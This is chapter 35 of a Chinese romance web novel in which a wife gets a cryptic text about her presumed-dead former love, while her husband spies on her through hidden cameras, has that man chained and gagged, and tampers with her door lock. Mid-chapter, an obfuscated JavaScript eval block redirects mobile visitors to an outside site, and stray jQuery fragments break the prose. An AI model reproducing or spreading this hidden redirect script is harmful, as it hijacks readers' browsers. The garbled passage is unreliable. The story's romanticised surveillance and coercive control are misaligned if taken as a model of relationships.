35. 发现

作品:《恶劣治疗[先婚后爱]

    戚晚柠离开赵家回到别墅时,已经到了晚饭时间。


    裴景忱提前做好了今晚的晚饭,只需要贝迪帮着处理一下就好。


    洗完澡出来,她换好睡裙,有一搭没一搭的和两个小女佣聊着天。


    她想趁机学习一些简单的T国语言,以免下次裴景忱再打电话时,她在旁边像个听不懂的小傻子。


    贝迪嘴巴放缓地说出了一串音节,然后切换成中文:“这个,您可以和先生说。”


    戚晚柠学着发了一遍音,问:“这句话是什么意思?”


    贝迪和巴娜笑嘻嘻的对视一眼,竖起大拇指:“夸很好的意思。”


    她挑了下眉,表示怀疑。


    “真的,您和先生说,他会非常高兴的。”贝迪的眼睛亮闪闪的。


    戚晚柠半信半疑地捞过手机点开翻译软件,正准备查一下这句话的意思,裴景忱的电话就见缝插针地打了过来。


    “我好想得了思念晚柠的病。”电话刚刚接通,他劈头就是这么一句。


    她感觉被猛地塞了口蜜糖,还没来得及咽下,对方又迅速补了一句:“恨不得现在就飞回到你的身边。”


    戚晚柠一瞬不知道该说些什么,害羞地喝了口汤。


    男人的热情有多盛大而直白她是知道的,但今天说的这两句话,莫名觉得哪里怪怪的。


    口吻不似往日温润,感觉就像受到了某种刺激,在疯狂而急切的表达情愫。


    听说裴景忱在苗族巫医那里买了一堆草药,她眨了眨眼:“你生病了?”


    男人的低惑浅浅荡起她的耳中:“嗯,相思病。”


    “……”


    戚晚柠又不争气的红了耳朵。


    裴景忱察觉听筒对面片刻都没有反应,早有预见般发出了一声轻笑:“晚柠是不是又在害羞呢?”


    “为了我们的性/福,记得要监督我吃药。”


    男人将“性/福”两个字咬得很重,像是在极力暗示着什么。


    戚晚柠颇为敷衍地嗯了一声,嘴巴要比脑子先快:“你还需要吃药的吗?”


    这话说完,电话两端的人都沉默了一瞬。


    她快要将自己燃烧透了,着急找补:“不是,我的意思是说……看你也不像是会需要吃药的那种男人……”


    感觉这个话题会被自己越描越黑,她的声音渐渐小了下去,最后脑袋像熟透地番茄一般搭在桌上。


    一定是近墨者黑,她的脑子也变得不纯洁了。


    电话还没有挂断,裴景忱在那端极为认真地解释:“不是那种药……我没有问题的。”


    “大小和……长度……都应该可以满足晚柠的,我有这个信心。”


    如果此刻两人是视频通话,她一定能够看见男人白皙的脸颊上缓缓展开的浅浅粉霞。


    戚晚柠面色红温埋下头,甚至都在怀念过去那个会产生应激反应的自己,总好过被这个不正经的男人撩得心脏像在蹦床上激烈跳动,久久不能平静。


    她不想再深入询问这个问题了,找了个借口就匆匆挂断电话。


    心脏好像浮于海面的竹筏,经过了惊涛骇浪还在波动不止。


    她做了个深呼吸,准备放下手机,漫不经心一扫,发现手机里不知道什么时候多了一条未读短信。


    很突兀,还是个陌生号码。


    除了验证码和广告信息,她已经很久都没收到过短信了,随意点击进去。


    短信的内容简简单单只有一个字,但足以瞬间翻起一直被她积压在心底里的情绪。


    【黎。】


    戚晚柠愣愣盯着这个字,心脏经过激烈震动后这分钟又恍如掉入冰窟,缓了好久才重新找回节奏。


    大脑空白了片刻,她迅速将电话拨通过去。


    “喂?哪位?”电话那端传来一个陌生青年的声音。


    不是黎夙鸣,她的心突然沉了一下。


    强烈的第六感让戚晚柠无法忽视这条短信,缓了口气,她不动声色地:“你好,快递。”


    “快递?”安廷疑惑,想了想刚才电话的来源,“我没有A城的快递。”


    “抱歉,那我再检查一下手机号码。”


    她立即挂断了电话,第一反应就是复制这个号码到网上搜索,确认归属地为Q城。


    Q城……


    这次裴景忱去拜访旧相识的地方是不是就在Q城?


    戚晚柠摩挲着手机沉思,记忆突然追溯到他们的初见——当日在墓园外,裴景忱一身黑色高冷肃穆,手中还拿了一株白菊,分明是在祭奠某人。


    而墓园当天只举行了两场葬礼。


    裴景忱那天会不会是在祭奠黎夙鸣?


    如果是的话,他为什么又要撒谎说他们并不认识?


    她焦躁地扶着额头,此时此刻,男人曾经说过的话如噩梦般源源不断,分不清是真是假——


    “是那个晚柠总将我认错的男人?”


    “我不认识他哦。”


    “晚柠是在想那个男人吗?”


    “不可以哦晚柠,我才是你的丈夫。”


    “晚柠已经是我的合法妻子了。”


    “精神出轨,也是出轨哦。”


    “如果我有骗你,你可以直接杀了我!”


    ……


    Q城,某酒店。


    裴景忱沐浴出来,照例捞过手机点开程序,看睡前故事一般将女孩的身影从早到晚细细看过。


    从傍晚时分戚晚柠回到别墅开始,他的目光就一直追随着那个纤细的身影。


    看见她走上二楼,进入浴室一段时间,换了一身衣服出来。又看见晚餐时,贝迪教了她一些T国的简单用语。


    男人情不自禁翘起唇角,尤其是听见女孩郑重其事咬出那串音节时,灵魂仿佛都被柔柔地撞击了一下。


    我爱你——简直是世界上最为美妙的一句话。


    “可惜都没有听见晚柠亲口说呢。”他忍不住戳了戳视频中跟他通电话的女孩,果然跟他料想得一样,害羞的小动作不断。


    好可爱啊,他的妻子怎么能这么可爱。


    情难自已的,裴景忱眼眸似水,又摸了摸视频中的女孩。


    晚柠应该是不讨厌他的吧?


    原谅他不够自信,需要反复用她的身体一遍遍确认才能安心。


    紧接着视频中显示,女孩在挂断电话后愣愣地看了手机很久,然后突然将听筒放在耳边,声音很轻:“你好,快递。”


    一种不妙的预感横在心头。


    傍晚时分,裴景忱的确听安廷提过有个A城的快递电话打了过来,对方还是个女生。


    所以是晚柠打的?


    可是晚柠怎么会有安廷的……脑中一闪而过黎夙鸣的影子,他眉眼陡然一凛。


    “我早该知道的,你这种人又怎么会坐以待毙!”


    裴景忱冷着脸,连忙起身换衣服,叫来隔壁的助理阿达。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407473|151024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “告诉大黑买条铁链,把那个人给我捆上。”他系着衬衣扣子,进一步补充,“嘴巴也找东西塞上。”


    知道黎家靠不住,就转而打起了晚柠的主意,就不该留他活到现在!


    裴景忱知道就算是此刻杀了黎夙鸣,女孩那边怀疑的种子已经种下了,轻易拔不出来,还是尽早赶回A城来得稳妥。


    阿达迅速查了一下航班的时间:“先生,今天已经没有飞A城的航班了,明天最早的一班飞机是六点十五。”


    男人面无表情系上最后一颗衬衣纽扣:“高铁呢?或者普通火车?我要最早能到达A城的方式。”


    阿达滑弄着手机:“有一趟普通客列,凌晨四点可以到A城火车站。”


    “现在就走。”


    ……


    A城。


    房间没有开灯,像被浓郁的墨汁浸染,戚晚柠坐在床边,仅有屏幕的微弱光线扑在脸上。


    胸腔仿佛有一个面团在不断胀大,各种复杂的问题在大脑冗杂——


    不知道黎家是否知道黎夙鸣可能还尚在人间,总觉得他现在的处境不太好,不然怎么会连一句完整的句子都不能发过来。


    难道夙鸣在被人监视着?是今天接通电话的那个男人?


    会和裴景忱有关吗?


    各种问题都难以寻找头绪,她迷迷糊糊的将自己埋进被子里,凌晨时分才浅浅睡去。


    当黎夙鸣的苍白模样与一条血盆大口的鳄鱼交织在一起时,戚晚柠猛地惊醒,心脏砰砰跳得厉害。


    天大概已经亮了,一小缕微光渗入房间。


    她揉了揉胀痛的眉心,翻身捞过手机,忽然间,一股温柔的馨香钻入鼻腔。


    微弱的水流声细细密密晕开,如安静时分的绵密落雨。


    戚晚柠骤然清醒,不敢相信地翻身坐起,目光在触及浴室玻璃上那个高大修长的男性身影时,头皮阵阵发麻。


    昨天晚上,她明确记得自己反锁住了卧室的门,裴景忱怎么会……


    脊背寒凉之际,玻璃上身姿挺拔的人影模模糊糊动了一下,莫名营造出来一种无声的强烈压迫,仿佛一缕阴魂不散的幽魂在强调——他无处不在。


    戚晚柠安抚着狂跳起来的心脏,光着脚跳下床去检查卧室门锁。


    果然被动过手脚!即便她反锁住,只需要用力下压仍能够将这扇门打开。


    她瞬间头皮发炸。


    曾经被欲色/诱惑的迟钝神经在这一刻好似全部被打通,恐惧沿着她的每一根神经钻入骨髓深处,啃食着,撕咬着。


    这个房间……不,或许这整一栋被裴景忱打扫过的别墅,都早已形成了一张完美的诱捕笼子。


    而她,毫不知情的在这个笼子里生活。


    还和负责看管她的男人拥抱,接吻……


    结合上次裴景忱那么及时出现在戚家,她大胆猜测是因为这里被安排上了很多只机器眼睛。


    他在监视她的一切!


    戚晚柠猛地闭上眼,不敢再继续深想下去,快要被恐惧吃透。


    这种被囚禁的无力感,又让她想起来两年前的那个可怕男人。


    曾经也将她当做一只孱弱的小动物,关在房间里,喂食,陪玩,然后等到夜色降临之后一遍遍触摸她的身体……


    她紧张得攥紧手指。


    背后突然响起浴室开门声。


    此时此刻,哪怕一丁点的响动,都能令戚晚柠感到毛骨悚然。